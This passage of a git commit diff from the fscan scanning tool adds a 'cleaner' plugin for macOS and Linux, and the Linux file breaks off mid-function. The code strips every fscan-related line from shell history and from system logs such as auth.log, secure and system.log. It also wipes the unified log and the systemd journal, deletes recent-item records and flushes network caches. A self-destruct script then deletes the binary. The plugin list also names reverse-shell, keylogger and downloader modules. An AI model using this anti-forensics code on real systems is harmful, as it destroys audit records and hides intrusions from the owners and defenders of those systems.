mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
feat: 添加跨平台系统痕迹清理本地插件
- 实现Windows/Linux/macOS三平台痕迹清理功能 - Windows: 清理事件日志、预取文件、注册表、最近文档、临时文件、网络缓存 - Linux: 清理Shell历史、系统日志、用户缓存、临时文件、网络缓存 - macOS: 清理Spotlight索引、LaunchServices数据库、系统日志、缓存文件 - 支持安全文件删除和程序自毁功能 - 采用保守策略避免误删重要文件
This commit is contained in:
parent
25649467c1
commit
c0374a6250
@ -399,12 +399,12 @@ func checkParameterConflicts() {
|
|||||||
if LocalMode {
|
if LocalMode {
|
||||||
if LocalPlugin == "" {
|
if LocalPlugin == "" {
|
||||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader\n")
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 验证本地插件名称
|
// 验证本地插件名称
|
||||||
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader"} // 已重构的插件
|
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader", "cleaner"} // 已重构的插件
|
||||||
isValid := false
|
isValid := false
|
||||||
for _, valid := range validPlugins {
|
for _, valid := range validPlugins {
|
||||||
if LocalPlugin == valid {
|
if LocalPlugin == valid {
|
||||||
@ -415,7 +415,7 @@ func checkParameterConflicts() {
|
|||||||
|
|
||||||
if !isValid {
|
if !isValid {
|
||||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader\n")
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
404
Plugins/local/cleaner/cleaner_darwin.go
Normal file
404
Plugins/local/cleaner/cleaner_darwin.go
Normal file
@ -0,0 +1,404 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package cleaner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// cleanSystemTraces 清理macOS系统痕迹
|
||||||
|
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 1. 清理Shell历史记录
|
||||||
|
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||||||
|
cleaned = append(cleaned, shellHistory...)
|
||||||
|
report["shell_history"] = shellHistory
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 清理系统日志
|
||||||
|
if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
|
||||||
|
cleaned = append(cleaned, systemLogs...)
|
||||||
|
report["system_logs"] = systemLogs
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 清理最近项目记录
|
||||||
|
if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
|
||||||
|
cleaned = append(cleaned, recentItems...)
|
||||||
|
report["recent_items"] = recentItems
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 清理Spotlight索引
|
||||||
|
if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
|
||||||
|
cleaned = append(cleaned, spotlight...)
|
||||||
|
report["spotlight_index"] = spotlight
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. 清理临时文件
|
||||||
|
if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
|
||||||
|
cleaned = append(cleaned, tempFiles...)
|
||||||
|
report["temp_files"] = tempFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. 清理LaunchServices数据库
|
||||||
|
if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
|
||||||
|
cleaned = append(cleaned, launchServices...)
|
||||||
|
report["launch_services"] = launchServices
|
||||||
|
}
|
||||||
|
|
||||||
|
p.cleanupStats["system_entries"] += len(cleaned)
|
||||||
|
report["total_cleaned"] = len(cleaned)
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanShellHistory 清理Shell历史记录 (与Linux类似)
|
||||||
|
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
homeDir := os.Getenv("HOME")
|
||||||
|
if homeDir == "" {
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// macOS常见的Shell历史文件
|
||||||
|
historyFiles := []string{
|
||||||
|
".bash_history",
|
||||||
|
".zsh_history",
|
||||||
|
".sh_history",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, histFile := range historyFiles {
|
||||||
|
histPath := filepath.Join(homeDir, histFile)
|
||||||
|
|
||||||
|
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
content, err := os.ReadFile(histPath)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
lines := strings.Split(string(content), "\n")
|
||||||
|
var filteredLines []string
|
||||||
|
removedCount := 0
|
||||||
|
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||||
|
removedCount++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filteredLines = append(filteredLines, line)
|
||||||
|
}
|
||||||
|
|
||||||
|
if removedCount > 0 {
|
||||||
|
newContent := strings.Join(filteredLines, "\n")
|
||||||
|
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||||||
|
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理当前会话历史
|
||||||
|
if err := exec.Command("history", "-c").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "Current session history")
|
||||||
|
common.LogSuccess("已清理当前会话历史记录")
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanMacSystemLogs 清理macOS系统日志
|
||||||
|
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// macOS系统日志路径
|
||||||
|
logPaths := []string{
|
||||||
|
"/var/log/system.log",
|
||||||
|
"/var/log/install.log",
|
||||||
|
"/var/log/secure.log",
|
||||||
|
}
|
||||||
|
|
||||||
|
// 用户日志目录
|
||||||
|
homeDir := os.Getenv("HOME")
|
||||||
|
if homeDir != "" {
|
||||||
|
userLogDir := filepath.Join(homeDir, "Library", "Logs")
|
||||||
|
if entries, err := os.ReadDir(userLogDir); err == nil {
|
||||||
|
for _, entry := range entries {
|
||||||
|
if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
|
||||||
|
logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, logPath := range logPaths {
|
||||||
|
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if p.filterLogFile(logPath) {
|
||||||
|
cleaned = append(cleaned, logPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用log命令清理系统日志
|
||||||
|
if err := exec.Command("log", "erase", "--all").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "Unified Logging System")
|
||||||
|
common.LogSuccess("已清理统一日志系统")
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// filterLogFile 过滤日志文件 (与Linux类似)
|
||||||
|
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||||||
|
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
|
||||||
|
content, err := os.ReadFile(logPath)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
lines := strings.Split(string(content), "\n")
|
||||||
|
var filteredLines []string
|
||||||
|
removedCount := 0
|
||||||
|
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||||
|
removedCount++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filteredLines = append(filteredLines, line)
|
||||||
|
}
|
||||||
|
|
||||||
|
if removedCount > 0 {
|
||||||
|
newContent := strings.Join(filteredLines, "\n")
|
||||||
|
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanRecentItems 清理macOS最近项目记录
|
||||||
|
func (p *CleanerPlugin) cleanRecentItems() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
homeDir := os.Getenv("HOME")
|
||||||
|
if homeDir == "" {
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// 最近项目plist文件
|
||||||
|
recentPaths := []string{
|
||||||
|
filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
|
||||||
|
filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, recentPath := range recentPaths {
|
||||||
|
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 对于plist文件,我们采用删除整个文件的方式
|
||||||
|
if strings.HasSuffix(recentPath, ".plist") {
|
||||||
|
if err := os.Remove(recentPath); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, recentPath)
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanSpotlightIndex 清理Spotlight索引
|
||||||
|
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 重建当前目录的Spotlight索引
|
||||||
|
if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
|
||||||
|
common.LogSuccess("已重建Spotlight索引")
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanMacTempFiles 清理macOS临时文件
|
||||||
|
func (p *CleanerPlugin) cleanMacTempFiles() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
homeDir := os.Getenv("HOME")
|
||||||
|
|
||||||
|
// macOS临时目录
|
||||||
|
tempDirs := []string{
|
||||||
|
"/tmp",
|
||||||
|
"/var/tmp",
|
||||||
|
}
|
||||||
|
|
||||||
|
if homeDir != "" {
|
||||||
|
tempDirs = append(tempDirs, []string{
|
||||||
|
filepath.Join(homeDir, "Library", "Caches"),
|
||||||
|
filepath.Join(homeDir, "Library", "Application Support"),
|
||||||
|
}...)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tempDir := range tempDirs {
|
||||||
|
entries, err := os.ReadDir(tempDir)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
entryName := strings.ToLower(entry.Name())
|
||||||
|
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
|
||||||
|
entryPath := filepath.Join(tempDir, entry.Name())
|
||||||
|
|
||||||
|
// 检查文件修改时间
|
||||||
|
if info, err := entry.Info(); err == nil {
|
||||||
|
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if entry.IsDir() {
|
||||||
|
if err := os.RemoveAll(entryPath); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, entryPath)
|
||||||
|
p.cleanupStats["directories"]++
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if err := os.Remove(entryPath); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, entryPath)
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanLaunchServicesDB 清理LaunchServices数据库
|
||||||
|
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 重建LaunchServices数据库
|
||||||
|
if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "LaunchServices Database")
|
||||||
|
common.LogSuccess("已重建LaunchServices数据库")
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanNetworkTraces 清理网络痕迹
|
||||||
|
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 清理DNS缓存
|
||||||
|
if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "DNS Cache (dscacheutil)")
|
||||||
|
common.LogSuccess("已清理DNS缓存")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理mDNS缓存
|
||||||
|
if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "mDNS Cache")
|
||||||
|
common.LogSuccess("已重启mDNSResponder")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理ARP缓存
|
||||||
|
if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "ARP Cache")
|
||||||
|
common.LogSuccess("已清理ARP缓存")
|
||||||
|
}
|
||||||
|
|
||||||
|
report["network_caches"] = cleaned
|
||||||
|
report["total_cleaned"] = len(cleaned)
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
|
||||||
|
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 创建shell自毁脚本
|
||||||
|
shellScript := fmt.Sprintf(`#!/bin/bash
|
||||||
|
sleep 2
|
||||||
|
rm -f "%s" 2>/dev/null
|
||||||
|
rm -f "$0" 2>/dev/null
|
||||||
|
exit 0`, p.currentExecutable)
|
||||||
|
|
||||||
|
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||||||
|
|
||||||
|
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||||
|
report["status"] = "failed"
|
||||||
|
report["error"] = err.Error()
|
||||||
|
} else {
|
||||||
|
// 异步执行自毁脚本
|
||||||
|
go func() {
|
||||||
|
time.Sleep(1 * time.Second)
|
||||||
|
cmd := exec.Command("/bin/bash", scriptPath)
|
||||||
|
cmd.Start()
|
||||||
|
}()
|
||||||
|
|
||||||
|
report["status"] = "scheduled"
|
||||||
|
report["script_path"] = scriptPath
|
||||||
|
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||||
|
}
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepareSelfDestruction 准备自毁
|
||||||
|
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||||
|
return p.createUnixSelfDestruct()
|
||||||
|
}
|
421
Plugins/local/cleaner/cleaner_linux.go
Normal file
421
Plugins/local/cleaner/cleaner_linux.go
Normal file
@ -0,0 +1,421 @@
|
|||||||
|
//go:build linux
|
||||||
|
|
||||||
|
package cleaner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// cleanSystemTraces 清理Linux系统痕迹
|
||||||
|
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 1. 清理Shell历史记录
|
||||||
|
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||||||
|
cleaned = append(cleaned, shellHistory...)
|
||||||
|
report["shell_history"] = shellHistory
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 清理系统日志
|
||||||
|
if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
|
||||||
|
cleaned = append(cleaned, systemLogs...)
|
||||||
|
report["system_logs"] = systemLogs
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 清理临时文件
|
||||||
|
if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
|
||||||
|
cleaned = append(cleaned, tempFiles...)
|
||||||
|
report["temp_files"] = tempFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 清理用户缓存
|
||||||
|
if userCache := p.cleanUserCache(); len(userCache) > 0 {
|
||||||
|
cleaned = append(cleaned, userCache...)
|
||||||
|
report["user_cache"] = userCache
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. 清理最近访问记录
|
||||||
|
if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
|
||||||
|
cleaned = append(cleaned, recentFiles...)
|
||||||
|
report["recent_files"] = recentFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
p.cleanupStats["system_entries"] += len(cleaned)
|
||||||
|
report["total_cleaned"] = len(cleaned)
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanShellHistory 清理Shell历史记录
|
||||||
|
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
homeDir := os.Getenv("HOME")
|
||||||
|
if homeDir == "" {
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// 常见的Shell历史文件
|
||||||
|
historyFiles := []string{
|
||||||
|
".bash_history",
|
||||||
|
".zsh_history",
|
||||||
|
".fish_history",
|
||||||
|
".sh_history",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, histFile := range historyFiles {
|
||||||
|
histPath := filepath.Join(homeDir, histFile)
|
||||||
|
|
||||||
|
// 检查文件是否存在
|
||||||
|
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取历史文件
|
||||||
|
content, err := os.ReadFile(histPath)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 过滤掉包含fscan的行
|
||||||
|
lines := strings.Split(string(content), "\n")
|
||||||
|
var filteredLines []string
|
||||||
|
removedCount := 0
|
||||||
|
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||||
|
removedCount++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filteredLines = append(filteredLines, line)
|
||||||
|
}
|
||||||
|
|
||||||
|
if removedCount > 0 {
|
||||||
|
// 写回过滤后的内容
|
||||||
|
newContent := strings.Join(filteredLines, "\n")
|
||||||
|
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||||||
|
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理当前会话的历史记录
|
||||||
|
if err := exec.Command("history", "-c").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "Current session history")
|
||||||
|
common.LogSuccess("已清理当前会话历史记录")
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanLinuxSystemLogs 清理Linux系统日志
|
||||||
|
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 系统日志路径
|
||||||
|
logPaths := []string{
|
||||||
|
"/var/log/auth.log",
|
||||||
|
"/var/log/syslog",
|
||||||
|
"/var/log/messages",
|
||||||
|
"/var/log/secure",
|
||||||
|
"/var/log/user.log",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, logPath := range logPaths {
|
||||||
|
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试清理日志中的相关条目
|
||||||
|
if p.filterLogFile(logPath) {
|
||||||
|
cleaned = append(cleaned, logPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理journal日志(如果有权限)
|
||||||
|
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "systemd journal")
|
||||||
|
common.LogSuccess("已清理systemd journal日志")
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// filterLogFile 过滤日志文件
|
||||||
|
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||||||
|
// 检查读写权限
|
||||||
|
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
|
||||||
|
// 读取文件内容
|
||||||
|
content, err := os.ReadFile(logPath)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 过滤包含fscan的行
|
||||||
|
lines := strings.Split(string(content), "\n")
|
||||||
|
var filteredLines []string
|
||||||
|
removedCount := 0
|
||||||
|
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||||
|
removedCount++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filteredLines = append(filteredLines, line)
|
||||||
|
}
|
||||||
|
|
||||||
|
if removedCount > 0 {
|
||||||
|
// 写回过滤后的内容
|
||||||
|
newContent := strings.Join(filteredLines, "\n")
|
||||||
|
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanLinuxTempFiles 清理Linux临时文件
|
||||||
|
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 临时目录
|
||||||
|
tempDirs := []string{
|
||||||
|
"/tmp",
|
||||||
|
"/var/tmp",
|
||||||
|
"/dev/shm",
|
||||||
|
}
|
||||||
|
|
||||||
|
// 用户临时目录
|
||||||
|
if homeDir := os.Getenv("HOME"); homeDir != "" {
|
||||||
|
tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tempDir := range tempDirs {
|
||||||
|
entries, err := os.ReadDir(tempDir)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
filename := strings.ToLower(entry.Name())
|
||||||
|
if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
|
||||||
|
tempFile := filepath.Join(tempDir, entry.Name())
|
||||||
|
|
||||||
|
// 检查文件是否太新(可能正在使用)
|
||||||
|
if info, err := entry.Info(); err == nil {
|
||||||
|
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := os.Remove(tempFile); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, tempFile)
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanUserCache 清理用户缓存
|
||||||
|
func (p *CleanerPlugin) cleanUserCache() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
homeDir := os.Getenv("HOME")
|
||||||
|
if homeDir == "" {
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// 缓存目录
|
||||||
|
cacheDirs := []string{
|
||||||
|
filepath.Join(homeDir, ".cache"),
|
||||||
|
filepath.Join(homeDir, ".local", "share"),
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, cacheDir := range cacheDirs {
|
||||||
|
